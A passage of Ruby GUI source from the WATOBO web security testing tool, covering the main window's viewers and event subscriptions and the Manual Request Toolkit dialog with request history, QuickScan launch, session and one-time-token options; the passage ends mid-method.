openBrowser(@lastViewed.request, @lastViewed.response) end rescue => bang puts bang end } @bv_button.enabled = false # FXHorizontalSeparator.new(chat_frame, :opts => SEPARATOR_GROOVE|LAYOUT_FILL_X) # FXLabel.new(view_menu, "Source:") @chat_frame_splitter = FXSplitter.new(chat_outer_frame, :opts => LAYOUT_SIDE_TOP | SPLITTER_VERTICAL | LAYOUT_FILL_Y | LAYOUT_FILL_X | SPLITTER_TRACKING) chat_frame = FXVerticalFrame.new(@chat_frame_splitter, :opts => LAYOUT_FILL_X | FRAME_SUNKEN | LAYOUT_MIN_WIDTH | LAYOUT_MIN_HEIGHT, :padding => 0, :width => 400, :height => 400) #chat_frame = FXVerticalFrame.new(chat_frame_splitter, :opts => LAYOUT_FILL_X|FRAME_SUNKEN|LAYOUT_MIN_WIDTH, :padding => 0, :width=>400) title_frame = FXHorizontalFrame.new(chat_frame, :opts => LAYOUT_FILL_X) FXLabel.new(title_frame, "Request").setFont(FXFont.new(getApp(), "helvetica", 9, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) @request_viewer = Watobo::Gui::RequestViewer.new(chat_frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y, :padding => 0) # @request_viewer = Watobo::Gui::ChatViewer.new(chat_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) # @request_viewer.highlight_style = 1 # # SEL_CONFIGURE is fired when the window is resized #@request_viewer.connect(SEL_CONFIGURE){ |sender, sel, ptr| @chat_frame_splitter.connect(SEL_COMMAND) { # puts sender.class # puts sender.width puts @request_viewer.height } # FXHorizontalSeparator.new(chat_frame, :opts => SEPARATOR_GROOVE|LAYOUT_FILL_X) chat_frame = FXVerticalFrame.new(@chat_frame_splitter, :opts => LAYOUT_FILL_X | FRAME_SUNKEN | LAYOUT_MIN_WIDTH, :padding => 0, :width => 400) title_frame = FXHorizontalFrame.new(chat_frame, :opts => LAYOUT_FILL_X) FXLabel.new(title_frame, "Response").setFont(FXFont.new(getApp(), "helvetica", 9, FONTWEIGHT_BOLD, FONTENCODING_DEFAULT)) @save_response_btn = FXButton.new(title_frame, "Save", nil, nil, 0, FRAME_RAISED | FRAME_THICK | LAYOUT_RIGHT) @save_response_btn.connect(SEL_COMMAND) {save_response} #fxViewButton = FXButton.new(title_frame, "View", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT) #fxViewButton.connect(SEL_COMMAND, method(:onViewResponse)) # @response_viewer = Watobo::Gui::ChatViewer.new(chat_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @response_viewer = Watobo::Gui::ResponseViewer.new(chat_frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y, :padding => 0) # @response_viewer.highlight_style = 2 #=================================================================== # L O G I N F O #=================================================================== #logFrame = FXVerticalFrame.new(@switcher, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) #FXLabel.new(logFrame, "Eventlist:", :opts => LAYOUT_FILL_X) # @log_viewer = Watobo::Gui::LogViewer.new(logFrame, :opts => FRAME_SUNKEN|FRAME_THICK|LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_FILL_X|LAYOUT_FILL_Y) @log_viewer = Watobo::Gui::LogFileViewer.new(@switcher, :opts => FRAME_SUNKEN | FRAME_THICK | LAYOUT_FILL_X | LAYOUT_FILL_Y | LAYOUT_FILL_X | LAYOUT_FILL_Y) # DASHBOARD# @dashboard = Dashboard.new(@switcher) # FINDING INFORMATION frame = FXVerticalFrame.new(@switcher, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y | FRAME_GROOVE) @finding_info = FindingInfo.new(frame, :opts => LAYOUT_FILL_X | LAYOUT_FILL_Y) # PLUGIN-BOARD @pluginboard = PluginBoard.new(@switcher) # if @foption_nopix.checked? then @doctype_TableFilter.concat(@fext_pix);end # if @foption_nodocs.checked? then @doctype_TableFilter.concat(@fext_docs);end # if @foption_nojs.checked? then @doctype_TableFilter.concat(@fext_javascript);end # if @foption_nocss.checked? then @doctype_TableFilter.concat(@fext_style);end add_queue_timer(250) #disable_menu update_menu end def create super # adjust splitters frame_height = (@chat_frame_splitter.getSplit(1) + @chat_frame_splitter.getSplit(0)) / 2 @chat_frame_splitter.setSplit(0, frame_height) @chat_frame_splitter.setSplit(1, frame_height) end # !!! # TODO: FXRUBY-Bug??? # If splash screen is shown app will crash on close :( # !!! # def create # super # splash = FXSplashWindow.new(interface, ICON_SPLASH, SPLASH_SHAPED|SPLASH_DESTROY|SPLASH_OWNS_ICON, 2000) #splash = FXSplashWindow.new(@app, ICON_SPLASH, SPLASH_SIMPLE, 2000) # splash.execute # splash.create() #splash.show(PLACEMENT_SCREEN) # show(PLACEMENT_SCREEN) #show(PLACEMENT_MAXIMIZED) # end private def chat_selected(chat) begin getApp().beginWaitCursor() # purge viewers @request_viewer.setText('') @response_viewer.setText('') showChat(chat) rescue => bang puts "!!!ERROR: chat_selected" puts bang puts bang.backtrace puts "!!!" ensure getApp().endWaitCursor() end end def save_response unless @last_chat.nil? dlg = SaveChatDialog.new(self, @last_chat) if dlg.execute != 0 FXMessageBox.information(self, MBOX_OK, "Response Saved", "The response has been saved to #{dlg.filename}!") end else puts "NO CHAT SELECTED!" end end def subscribeProject() Watobo::Chats.subscribe(:new) {|c| # Thread.new { addChat(c)} # puts "Got New Chat (#{c.id})" #@chat_lock.synchronize do # @chat_queue << c #end Watobo.save_thread do addChat(c) end } Watobo::Findings.subscribe(:new) {|f| Watobo.save_thread do addFinding(f) end } end def subscribeSitesTree() @sites_tree.subscribe(:add_site_to_scope) {|site| Watobo::Scope.add(site) Watobo::Gui.save_settings() } @sites_tree.subscribe(:show_conversation) {|chat_list| showConversation() @chatTable.showConversation(chat_list, :ignore_filter) # @conversation_table_ctrl.text = "Selected Chats (#{chat_list.length}/#{Watobo::Chats.length})" @conversation_table_ctrl.update_text } @sites_tree.subscribe(:show_chat) {|chat| showChat(chat) } @sites_tree.subscribe(:vuln_click) {|v| showVulnerability(v) } end def subscribeFindingsTree() @findings_tree.subscribe(:add_site_to_scope) {|site| Watobo::Scope.add(site) Watobo::Gui.save_settings() } @findings_tree.subscribe(:delete_domain_filter) {|df| @project.settings[:domain_filters].delete(df) # puts "Delete Domain-Filter #{df}" updateTreeLists() } @findings_tree.subscribe(:delete_all_domain_filters) { @project.settings[:domain_filters].clear updateTreeLists() } @findings_tree.subscribe(:vuln_click) {|v| showVulnerability(v)} @findings_tree.subscribe(:finding_click) {|v| showFindingDetails(v)} @findings_tree.subscribe(:show_finding_details) {|v| showFindingDetails(v)} @findings_tree.subscribe(:open_manual_request) {|v| open_manual_request_editor(v)} @findings_tree.subscribe(:purge_findings) {|f| purge_findings(f)} @findings_tree.subscribe(:set_false_positive) {|f| set_false_positive(f)} @findings_tree.subscribe(:unset_false_positive) {|f| unset_false_positive(f)} end def onClose(sender, sel, event) # puts "! #{Thread.list.length} Threads running" response = FXMessageBox.question(self, MBOX_YES_NO, "Finished?", "Are you sure?") if response == MBOX_CLICKED_YES @app.handleTimeouts # puts "Num. Threads: #{Thread.list.length}" getApp().exit(0) else 1 end end def loadProjectSettings_UNUSED(filename = nil) settings = nil if filename then begin settings = Hash.new settings = Watobo::Utils.load_settings(filename) # puts settings.to_yaml rescue => bang puts "!!!ERROR: could not update project settings" puts bang return false end end return settings end def loadSessionSettings_UNUSED(filename = nil) settings = {} return settings if filename.nil? if File.exist?(filename) then begin settings = Watobo::Utils.load_settings(filename) rescue => bang puts "!!!ERROR: could not load session settings" puts bang return false end else puts "! SessionSettings file #{filename} does not exist!" end return settings end def onExport(sender, sel, item) ccdlg = Watobo::Gui::ExportDialog.new(self) if ccdlg.execute != 0 end end def onExit(sender, sel, item) response = FXMessageBox.question(self, MBOX_YES_NO, "Finished?", "Are you sure?") if response == MBOX_CLICKED_YES getApp().exit(0) end end # def onApplyFilterClick(sender,sel,item) # applyFilter() # end def onClear(sender, sel, item) @table_filter.value = "" @tableFilterFX.handle(self, FXSEL(SEL_UPDATE, 0), nil) end def onTableClick(sender, sel, item) begin getApp().beginWaitCursor() # purge viewers @request_viewer.setText('') @response_viewer.setText('') chat = sender.current_chat showChat(chat) unless chat.nil? rescue => bang puts "!!!ERROR: onTableClick" puts bang puts "!!!" ensure getApp().endWaitCursor() end end def onMenuProxy(sender, sel, item) proxy_dialog = Watobo::Gui::ProxyDialog.new(self) if proxy_dialog.execute != 0 then proxy_prefs = proxy_dialog.getProxyPrefs Watobo::Conf::ForwardingProxy.set proxy_prefs # Watobo::Gui.save_settings() #Watobo::Conf::ForwardingProxy.save Watobo.save_proxy_settings update_status_bar() end #FXMessageBox.information(self,MBOX_OK,"No Project Defined", "Create Project First") end def update_menu [@client_cert_menu, @www_auth_menu, @target_scope_menu].each do |m| Watobo.project.nil? ? m.disable : m.enable end end def disable_menu_UNUSED @menu_items.each do |e| e.disable if e.respond_to? :disable if e.respond_to? :each_child e.each_child do |c| c.disable if c.respond_to? :disable end end end end def enable_menu_UNUSED @menu_items.each do |e| e.enable if e.respond_to? :enable if e.respond_to? :each_child e.each_child do |c| c.enable if c.respond_to? :enable end end end end def purge_findings(findings) findings.each do |f| Watobo::Findings.delete(f) end @findings_tree.reload end def set_false_positive(findings) findings.each do |f| Watobo::Findings.set_false_positive(f) end @findings_tree.reload end def unset_false_positive(findings) findings.each do |f| Watobo::Findings.unset_false_positive(f) end @findings_tree.reload end end # Class End end end watobo-1.0.1/lib/watobo/gui/manual_request_editor.rb000077500000000000000000000643571366346341400226050ustar00rootroot00000000000000# @private module Watobo #:nodoc: all module Gui class HistoryItem attr :raw_request def request @chat.request end def response @chat.response end def initialize(chat, raw_request) @chat = chat @raw_request = raw_request end end class ManualRequestSender < Watobo::Session def initialize(session_id) super(session_id, Watobo::Conf::Scanner.to_h) end def sendRequest(new_request, prefs) if prefs[:run_login] == true unless login_chats = Watobo::Conf::Scanner.login_chat_ids.nil? login_chats = Watobo::Conf::Scanner.login_chat_ids.uniq.map {|id| Watobo::Chats.get_by_id(id)} # puts "running #{login_chats.length} login requests" # puts login_chats.first.class runLogin(login_chats, prefs) else #TODO: Show warning message that no login-chats are defined end end request = Watobo::Request.new(new_request) begin test_req, test_resp = self.doRequest(request, prefs) #rq = Watobo::Request.new test_req # rs = Watobo::Response.new test_resp #rs.unchunk #rs.unzip return test_req, test_resp rescue => bang puts bang puts bang.backtrace if $DEBUG end return nil, nil end end # #-------------------------------------------------------------------------------------------- # class ManualRequestEditor < FXDialogBox include Watobo::Constants include Watobo::Gui::Icons # include Responder # ID_CTRL_S = ID_LAST # ID_LAST = ID_CTRL_S + 1 SCANNER_IDLE = 0x00 SCANNER_STARTED = 0x01 SCANNER_FINISHED = 0x02 SCANNER_CANCELED = 0x04 def subscribe(event, &callback) (@event_dispatcher_listeners[event] ||= []) << callback end def openCSRFTokenDialog(sender, sel, item) csrf_dlg = CSRFTokenDialog.new(self, @chat) if csrf_dlg.execute != 0 then csrf_ids = csrf_dlg.getTokenScriptIds() Watobo::OTTCache.set_chat_ids @chat, csrf_ids Watobo::Conf::OttCache.patterns = csrf_dlg.getTokenPatterns() Watobo::Conf::OttCache.save_project end end def clearEvents(event) @event_dispatcher_listener[event].clear end def notify(event, *args) if @event_dispatcher_listeners[event] @event_dispatcher_listeners[event].each do |m| m.call(*args) if m.respond_to? :call end end end def onRequestReset(sender, sel, item) @req_builder.setRequest(@original_request) end def logger(message) @log_viewer.log(LOG_INFO, message) puts "[#{self.class.to_s}] #{message}" if $DEBUG end def addHistoryItem(chat, raw_request) @history.push HistoryItem.new(chat, eval(YAML.load(YAML.dump(raw_request.inspect)))) @history.shift if @history.length > @history_size @diff_frame.updateHistory(@history) end def onBtnQuickScan(sender, sel, item) dlg_prefs = { :target_chat => @chat, :enable_one_time_tokens => @updateCSRF.checked? } egress_handler = @egress.checked? ? @egress_handlers.getItem(@egress_handlers.currentItem) : '' dlg_prefs[:egress_handler] = egress_handler dlg = Watobo::Gui::QuickScanDialog.new(self, dlg_prefs) scan_chats = [] if sender.text =~ /Cancel/i @scanner.cancel() if @scanner.respond_to? :cancel @scanner = nil logger("QuickScan canceled by user") @pbar.progress = 0 @pbar.total = 0 @pbar.barColor = 'grey' #FXRGB(255,0,0) sender.text = "QuickScan" return end if dlg.execute != 0 then scan_modules = [] sender.text = "Cancel" quick_scan_options = dlg.options # puts quick_scan_options.to_yaml if quick_scan_options[:use_orig_request] == true then req = @original_request else req = @req_builder.parseRequest() end scan_chats.push Chat.new(Watobo::Request.new(req), Watobo::Response.new(@chat.response), :id => @chat.id, :run_passive_checks => false) end unless scan_chats.empty? then log_message = ["QuickScan Started"] log_message << "Target URL: #{scan_chats.first.request.url}" acc = dlg.selectedModules acc.each do |ac| log_message << "Module: #{ac.check_name}" end # scan_prefs = @project.getScanPreferences scan_prefs = Watobo::Conf::Scanner.to_h # we don't want logout detection during a QuickScan # TODO: let this decide the user! scan_prefs[:logout_signatures] = [] if quick_scan_options[:detect_logout] == false # scan_prefs[:csrf_requests] = @project.getCSRFRequests(@original_request) if quick_scan_options[:update_csrf_tokens] == true scan_prefs[:run_passive_checks] = false # logging required ? if quick_scan_options[:enable_logging] and quick_scan_options[:scanlog_name] scan_prefs[:scanlog_name] = quick_scan_options[:scanlog_name] end scan_prefs.update quick_scan_options if $DEBUG puts "* creating scanner ..." puts quick_scan_options.to_yaml puts "- - - - - - - - -" puts scan_prefs.to_yaml end # we only can have one thread for csrf_token updates ... because it's not thread-safe ... yet scan_prefs[:max_parallel_checks] = 1 if scan_prefs[:update_csrf_tokens] == true @scanner = Watobo::Scanner3.new(scan_chats, acc, [], scan_prefs) sum_totals = 0 @scanner.progress.each_value do |v| sum_totals += v[:total] end @pbar.total = sum_totals @pbar.progress = 0 @pbar.barColor = FXRGB(255, 0, 0) csrf_requests = [] if quick_scan_options[:update_csrf_tokens] == true unless csrf_requests.empty? csrf_requests = Watobo::OTTCache.requests(req) # else # puts "* No CSRF requests defined for request:" # puts req # puts "---" end end run_prefs = { :update_sids => @updateSID.checked?, :update_session => @updateSession.checked?, :csrf_requests => csrf_requests, :csrf_patterns => scan_prefs[:csrf_patterns], :www_auth => scan_prefs[:www_auth], :follow_redirect => quick_scan_options[:follow_redirect], } logger("Scan Started ...") Watobo.log(log_message, :sender => self.class.to_s.gsub(/.*:/, "")) @scan_status = SCANNER_STARTED @scanner.run(run_prefs) end # return 0 end def onBtnSendClick(sender, sel, item) sendManualRequest() end def onPreviewClick(sender, sel, item) @request_viewer.setText('') new_request = @req_builder.parseRequest # puts "new request: #{new_request}" @request_viewer.setText(new_request) @tabBook.current = 1 end def showHistory(dist=0, pos=nil) if @history.length > 0 current_pos = @history_pos_dt.value new_pos = current_pos + dist new_pos = 1 if new_pos <= 0 new_pos = @history.length if new_pos > @history.length @req_builder.setRequest(@history[new_pos-1].raw_request) @req_builder.highlight("(%%[^%]*%%)") @response_viewer.setText(@history[new_pos-1].response) @history_pos_dt.value = new_pos @history_pos.handle(self, FXSEL(SEL_UPDATE, 0), nil) return new_pos end return 0 if dist == 0 and not pos end def add_handler @handler_path ||= Watobo.working_directory + '/' handler_filename = FXFileDialog.getOpenFilename(self, "Select handler file", @handler_path, "*.rb\n*") if handler_filename != "" then if File.exist?(handler_filename) then @handler_file = handler_filename @handler_path = File.dirname(handler_filename) + "/" Watobo::EgressHandlers.add(handler_filename) update_egress end end end def update_egress @egress_handlers.clearItems @egress.disable @egress_handlers.disable if Watobo::EgressHandlers.length > 0 @egress.enable @egress_handlers.enable #@egress_btn.enable Watobo::EgressHandlers.list {|h| @egress_handlers.appendItem(h.to_s, nil) } end end def initialize(owner, project, chat) begin # Invoke base class initialize function first super(owner, "Manual Request Toolkit", :opts => DECOR_ALL, :width => 850, :height => 600) @event_dispatcher_listeners = Hash.new @chat_queue = Queue.new @request_sender = ManualRequestSender.new(self.object_id) @request_sender.subscribe(:follow_redirect) {|loc| logger("follow redirect -> #{loc}")} @responseFilter = FXDataTarget.new("") @chat = chat if chat.respond_to? :request self.title = "#{chat.request.method} #{chat.request.url}" end @original_request = chat.copyRequest @project = project @csrf_requests = [] @tselect = "" @sel_pos = "" @sel_len = "" @last_request = nil @last_response = nil @history_size = 10 @history = [] @counter = 0 @scanner = nil @new_response = nil @new_request = nil @update_lock = Mutex.new @scan_status_lock = Mutex.new @scan_status = SCANNER_IDLE self.icon = ICON_MANUAL_REQUEST # Construct some hilite styles hs_red = FXHiliteStyle.new hs_red.normalForeColor = FXRGBA(255, 255, 255, 255) # FXColor::Red hs_red.normalBackColor = FXRGBA(255, 0, 0, 1) # FXColor::White hs_red.style = FXText::STYLE_BOLD #mr_splitter = FXSplitter.new(self, LAYOUT_FILL_X|LAYOUT_FILL_Y|SPLITTER_VERTICAL|SPLITTER_REVERSED|SPLITTER_TRACKING) #framFXVerticalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) # top = FXHorizontalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_SIDE_BOTTOM) top_frame = FXVerticalFrame.new(self, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y||LAYOUT_FIX_HEIGHT|LAYOUT_BOTTOM, :height => 500) top_splitter = FXSplitter.new(top_frame, LAYOUT_FILL_X|SPLITTER_HORIZONTAL|LAYOUT_FILL_Y|SPLITTER_TRACKING) # log_frame = FXVerticalFrame.new(mr_splitter, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM, :height => 100) #LAYOUT_FILL_X in combination with LAYOUT_FIX_WIDTH req_editor = FXVerticalFrame.new(top_splitter, :opts => LAYOUT_FILL_X|LAYOUT_FIX_WIDTH|LAYOUT_FILL_Y|FRAME_GROOVE, :width => 400, :height => 500) req_edit_header = FXHorizontalFrame.new(req_editor, :opts => LAYOUT_FILL_X) @req_builder = RequestBuilder.new(req_editor, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @req_builder.subscribe(:hotkey_ctrl_s) { simulatePressSendBtn() sendManualRequest() } @req_builder.subscribe(:hotkey_ctrl_enter) { simulatePressSendBtn() sendManualRequest() } @req_builder.subscribe(:error) {|msg| logger(msg)} @req_builder.setRequest(@original_request) history_navigation = FXHorizontalFrame.new(req_edit_header, :opts => FRAME_NONE) FXLabel.new(history_navigation, "History:", :opts => LAYOUT_CENTER_Y) hback = FXButton.new(history_navigation, "<", nil, nil, 0, FRAME_RAISED|FRAME_THICK) @history_pos_dt = FXDataTarget.new(0) @history_pos = FXTextField.new(history_navigation, 2, @history_pos_dt, FXDataTarget::ID_VALUE, :opts => LAYOUT_FILL_X|FRAME_GROOVE|FRAME_SUNKEN) @history_pos.justify = JUSTIFY_RIGHT @history_pos.handle(self, FXSEL(SEL_UPDATE, 0), nil) hback.connect(SEL_COMMAND) {showHistory(-1)} hnext = FXButton.new(history_navigation, ">", nil, nil, 0, FRAME_RAISED|FRAME_THICK) hnext.connect(SEL_COMMAND) {showHistory(1)} menu = FXMenuPane.new(self) FXMenuCommand.new(menu, "-> GET").connect(SEL_COMMAND, method(:trans2Get)) FXMenuCommand.new(menu, "-> POST").connect(SEL_COMMAND, method(:trans2Post)) # FXMenuCommand.new(menu, "POST <=> GET").connect(SEL_COMMAND, method(:switchMethod)) req_reset_button = FXButton.new(req_edit_header, "Reset", nil, nil, 0, FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT|LAYOUT_FILL_Y) req_reset_button.connect(SEL_COMMAND, method(:onRequestReset)) # Button to pop menu FXMenuButton.new(req_edit_header, "&Transform", nil, menu, (MENUBUTTON_DOWN|FRAME_RAISED|FRAME_THICK|ICON_AFTER_TEXT|LAYOUT_RIGHT|LAYOUT_FILL_Y)) frame = FXHorizontalFrame.new(req_editor, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM, :padding => 0) req_options = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) #eq_options = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_X|LAYOUT_SIDE_BOTTOM) #opt = FXGroupBox.new(req_options, "Request Options", LAYOUT_SIDE_TOP|FRAME_GROOVE|LAYOUT_FILL_X, 0, 0, 0, 0) @settings_tab = FXTabBook.new(req_options, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) resp_tab = FXTabItem.new(@settings_tab, "Request Options", nil) opt= FXVerticalFrame.new(@settings_tab, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) @updateContentLength = FXCheckButton.new(opt, "Update Content-Length", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @updateContentLength.checkState = true @followRedirect = FXCheckButton.new(opt, "Follow Redirects", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @followRedirect.checkState = false eframe = FXHorizontalFrame.new(opt, :opts => FRAME_NONE|LAYOUT_FILL_X, :padding => 0) @egress = FXCheckButton.new(eframe, "Egress", nil, 0, JUSTIFY_LEFT|JUSTIFY_CENTER_Y|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @egress.checkState = false @egress_handlers = FXComboBox.new(eframe, 5, nil, 0, COMBOBOX_STATIC|FRAME_SUNKEN|FRAME_THICK|LAYOUT_SIDE_TOP) #@filterCombo.width =200 @egress_handlers.numVisible = 0 @egress_handlers.numColumns = 23 @egress_handlers.editable = false @egress_handlers.connect(SEL_COMMAND) {|sender, sel, name| Watobo::EgressHandlers.last = name } # @egress_handlers.appendItem('none', nil) @egress_add_btn = FXButton.new(eframe, "add", nil, nil, 0, FRAME_RAISED|FRAME_THICK) @egress_add_btn.connect(SEL_COMMAND) {add_handler} #@egress_handlers.connect(SEL_COMMAND, method(:onRequestChanged)) @egress_btn = FXButton.new(eframe, "reload", nil, nil, 0, FRAME_RAISED|FRAME_THICK) @egress_btn.connect(SEL_COMMAND) { Watobo::EgressHandlers.reload update_egress } update_egress i = @egress_handlers.findItem(Watobo::EgressHandlers.last) #puts "Last Item Index: #{i} (#{Watobo::EgressHandlers.last})" @egress_handlers.setCurrentItem(i) if i >= 0 @logChat = FXCheckButton.new(opt, "Log Chat", nil, 0, ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @logChat.checkState = false sess_tab = FXTabItem.new(@settings_tab, "Session Settings", nil) session_frame = FXVerticalFrame.new(@settings_tab, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) sidframe = FXHorizontalFrame.new(session_frame, :opts => FRAME_NONE|LAYOUT_FILL_X|PACK_UNIFORM_HEIGHT, :padding => 0) @updateSID = FXCheckButton.new(sidframe, "Update SID Cache ...", nil, 0, JUSTIFY_LEFT|JUSTIFY_CENTER_Y|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @updateSID.checkState = false FXButton.new(sidframe, "Clear", nil, nil, 0, FRAME_RAISED|FRAME_THICK).connect(SEL_COMMAND) { Watobo::SIDCache.acquire(self.object_id).clear } @updateSession = FXCheckButton.new(session_frame, "Update Session", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @updateSession.checkState = true @updateSession.connect(SEL_COMMAND) do |sender, sel, item| @runLogin.enabled = @updateSession.checked? end @runLogin = FXCheckButton.new(session_frame, "Run Login", nil, 0, JUSTIFY_LEFT|JUSTIFY_TOP|ICON_BEFORE_TEXT|LAYOUT_SIDE_TOP) @runLogin.checkState = false csrf_frame = FXHorizontalFrame.new(session_frame, :opts => LAYOUT_FILL_X|PACK_UNIFORM_HEIGHT, :padding => 0) @updateCSRF = FXCheckButton.new(csrf_frame, "Update One-Time-Tokens ...", nil, 0, JUSTIFY_LEFT|ICON_BEFORE_TEXT) @updateCSRF.checkState = false @csrf_settings_btn = FXButton.new(csrf_frame, "Settings", nil, nil, 0, FRAME_RAISED|FRAME_THICK) @csrf_settings_btn.connect(SEL_COMMAND, method(:openCSRFTokenDialog)) #@updateCSRF.connect(SEL_COMMAND) do |sender, sel, item| # if @updateCSRF.checked? then # @csrf_settings_btn.enable # else # @csrf_settings_btn.disable # end #end ################################################## button_frame = FXVerticalFrame.new(frame, :opts => LAYOUT_FILL_Y|LAYOUT_FIX_WIDTH|LAYOUT_RIGHT, :width => 100) send_frame = FXVerticalFrame.new(button_frame, :opts => LAYOUT_FILL_Y|LAYOUT_FILL_X, :padding => 2) send_frame.backColor = FXColor::Red #btn_send = FXButton.new(frame, "\nSEND", ICON_SEND_REQUEST, nil, 0, :opts => ICON_ABOVE_TEXT|FRAME_RAISED|FRAME_THICK|LAYOUT_FILL_Y|LAYOUT_FIX_WIDTH|LAYOUT_RIGHT, :width => 100) @btn_send = FXButton.new(send_frame, "\nSEND", ICON_SEND_REQUEST, nil, 0, :opts => ICON_ABOVE_TEXT|FRAME_RAISED|FRAME_THICK|LAYOUT_FILL_Y|LAYOUT_FILL_X|LAYOUT_RIGHT) btn_prev = FXButton.new(button_frame, "preview >>", nil, nil, 0, :opts => LAYOUT_FILL_X|FRAME_RAISED|FRAME_THICK|LAYOUT_RIGHT) btn_prev.connect(SEL_COMMAND, method(:onPreviewClick)) frame = FXHorizontalFrame.new(req_editor, :opts => LAYOUT_FILL_X|FRAME_GROOVE) @btn_quickscan = FXButton.new(frame, "QuickScan", nil, nil, 0, FRAME_RAISED|FRAME_THICK) @btn_quickscan.connect(SEL_COMMAND, method(:onBtnQuickScan)) @pbar = FXProgressBar.new(frame, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK|PROGRESSBAR_HORIZONTAL) @pbar.progress = 0 @pbar.total = 0 @pbar.barColor = 'grey' #FXRGB(255,0,0) # TODO: Implement font sizing #@req_builder.font = FXFont.new(app, "courier" , 14, :encoding=>FONTENCODING_ISO_8859_1) result_viewer = FXVerticalFrame.new(top_splitter, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_GROOVE|LAYOUT_FIX_WIDTH, :width => 400) # log_viewer = FXVerticalFrame.new(bottom_frame, :opts => LAYOUT_FILL_X|FRAME_GROOVE|LAYOUT_BOTTOM) @tabBook = FXTabBook.new(result_viewer, nil, 0, LAYOUT_FILL_X|LAYOUT_FILL_Y|LAYOUT_RIGHT) resp_tab = FXTabItem.new(@tabBook, "Response", nil) frame = FXVerticalFrame.new(@tabBook, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y, :padding => 0) @response_viewer = Watobo::Gui::ResponseViewer.new(frame, LAYOUT_FILL_X|LAYOUT_FILL_Y) #@response_viewer.ma @response_viewer.max_len = 0 options = FXHorizontalFrame.new(frame, :opts => LAYOUT_FILL_X) frame = FXHorizontalFrame.new(options, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN) frame.backColor = FXColor::White label = FXLabel.new(frame, "MD5: ", :opts => LAYOUT_FILL_Y|JUSTIFY_CENTER_Y) label.backColor = FXColor::White @responseMD5 = FXLabel.new(frame, "-N/A-", :opts => LAYOUT_FILL_Y|JUSTIFY_CENTER_Y) @responseMD5.backColor = FXColor::White browser_button = FXButton.new(options, "Browser-View", ICON_BROWSER_MEDIUM, nil, 0, :opts => BUTTON_NORMAL|LAYOUT_RIGHT) browser_button.connect(SEL_COMMAND) { begin unless @current_chat.nil? #@interface.openBrowser(@last_request, @last_response) notify(:show_browser_preview, @current_chat.request, @current_chat.response) end rescue => bang puts bang end } req_tab = FXTabItem.new(@tabBook, "Request", nil) @request_viewer = Watobo::Gui::RequestViewer.new(@tabBook, FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) FXTabItem.new(@tabBook, "Differ", nil) @diff_frame = DiffFrame.new(@tabBook, :opts => FRAME_THICK|FRAME_RAISED|LAYOUT_FILL_X|LAYOUT_FILL_Y) FXTabItem.new(@tabBook, "Logs", nil) log_text_frame = FXVerticalFrame.new(@tabBook, LAYOUT_FILL_X|LAYOUT_FILL_Y|FRAME_SUNKEN|FRAME_THICK) @log_viewer = LogViewer.new(log_text_frame, :opts => LAYOUT_FILL_X|LAYOUT_FILL_Y) #-------------------------------------------------------------------------------- @btn_send.connect(SEL_COMMAND, method(:onBtnSendClick)) # TODO: remove timer for query scanner status. instead subscribe for events. add_update_timer(250) rescue => bang puts bang puts bang.backtrace if $DEBUG end end private def add_update_timer(ms) FXApp.instance.addTimeout(500, :repeat => true) { unless @scanner.nil? @scan_status_lock.synchronize do if @pbar.total > 0 @pbar.progress = @scanner.sum_progress end if @scanner.finished? @scanner = nil logger("Scan Finished!") @pbar.progress = 0 @pbar.total = 0 @pbar.barColor = 'grey' #FXRGB(255,0,0) @btn_quickscan.text = "QuickScan" end end end } end def sendManualRequest @request_viewer.setText('') @response_viewer.setText('') new_request = @req_builder.parseRequest if new_request.nil? logger("Could not send request!") return false end csrf_requests = [] prefs = Watobo::Conf::Scanner.to_h egress_handler = @egress.checked? ? @egress_handlers.getItem(@egress_handlers.currentItem) : '' current_prefs = {:run_login => @updateSession.checked? ? @runLogin.checked? : false, :update_session => @updateSession.checked?, :update_contentlength => @updateContentLength.checked?, :update_otts => @updateCSRF.checked?, # :csrf_requests => csrf_requests, # :csrf_patterns => @project.getCSRFPatterns(), :update_sids => @updateSID.checked?, :follow_redirect => @followRedirect.checked?, :egress_handler => egress_handler, :no_connection_close => true } prefs.update current_prefs logger("send request") @request_thread = Thread.new(new_request, prefs) {|nr, p| begin request, response = @request_sender.sendRequest(nr, 